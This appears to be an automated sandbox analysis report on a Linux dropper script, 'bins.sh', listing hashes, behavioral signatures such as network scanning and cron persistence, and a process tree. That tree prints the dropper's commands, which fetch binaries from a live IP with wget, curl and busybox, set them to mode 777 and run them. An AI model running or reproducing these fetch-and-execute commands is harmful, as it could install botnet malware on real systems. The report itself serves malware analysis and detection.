Analysis
-
max time kernel
149s -
max time network
150s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
04-11-2024 13:27
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
55a1cde83448c075863af498d8f07347
-
SHA1
71fc61de9d4ab6d1ffb6f77532da9099ed462060
-
SHA256
3358bdb43f37beae54f42f364887f9c09d346e7cdb91f4d23ad252f984546bf1
-
SHA512
7637c8bf8467388ae106f959277568b0f03cf62d65e60dfcb27a678a22599224aaf25100ca898619af630f564958ccb981c22d64a1328f18c1fe389092ab6430
-
SSDEEP
192:yGgCCHWiiEpzUENiPH+NhIECCHWi5jeJPH+Nho:yGbuzFeJ
Malware Config
Signatures
-
Contacts a large (2207) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodpid Process 1503 chmod -
Executes dropped EXE 1 IoCs
Processes:
i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fcioc pid Process /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc 1504 i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc -
Renames itself 1 IoCs
Processes:
i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fcpid Process 1505 i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.nCvQsi crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Processes:
i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fcdescription ioc Process File opened for reading /proc/1141/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1598/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1611/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1628/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1741/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1592/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1723/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/599/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1542/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1588/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1734/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/406/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1563/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1570/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1676/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/10/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/985/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1667/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1680/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/89/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1087/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1657/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1762/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1545/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/645/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1515/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1574/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1181/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1777/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/477/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1646/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1671/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1774/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/644/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1526/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1546/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1687/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/27/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1106/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1532/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1608/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/164/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1239/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1602/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1631/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/166/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1607/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1766/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1174/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1665/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1730/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/19/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1489/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1528/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1601/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1791/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/435/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1531/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1635/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1618/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1677/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1620/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1645/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc File opened for reading /proc/1674/cmdline i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes:
busyboxwgetcurldescription ioc Process File opened for modification /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc busybox File opened for modification /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc wget File opened for modification /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc curl
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:1493
-
/bin/rm/bin/rm bins.sh2⤵PID:1494
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc2⤵
- Writes file to tmp directory
PID:1495
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc2⤵
- Writes file to tmp directory
PID:1501
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc2⤵
- Writes file to tmp directory
PID:1502
-
-
/bin/chmodchmod 777 i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc2⤵
- File and Directory Permissions Modification
PID:1503
-
-
/tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc./i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1504 -
/bin/shsh -c "crontab -l"3⤵PID:1506
-
/usr/bin/crontabcrontab -l4⤵PID:1507
-
-
-
/bin/shsh -c "crontab -"3⤵PID:1508
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1509
-
-
-
-
/bin/rmrm i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc2⤵PID:1511
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X2⤵PID:1514
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
-
Filesize
210B
MD5eaa315993d826b1c762ebf2f7fc87189
SHA11665fe034729a83d1a7e0fb706c32da66a6594ba
SHA25637c50622709d0705ba94f3598c9166f207e956264af8736cab0287d7c7116ae4
SHA512c867be1c51718c4f8419a4b3559b73d96ec5201639ffec3ab0c10bb6da9fdddcde06cbf061c68c6d95856a94d636d9d69bcd266002f8287dc6a834b2c777ea57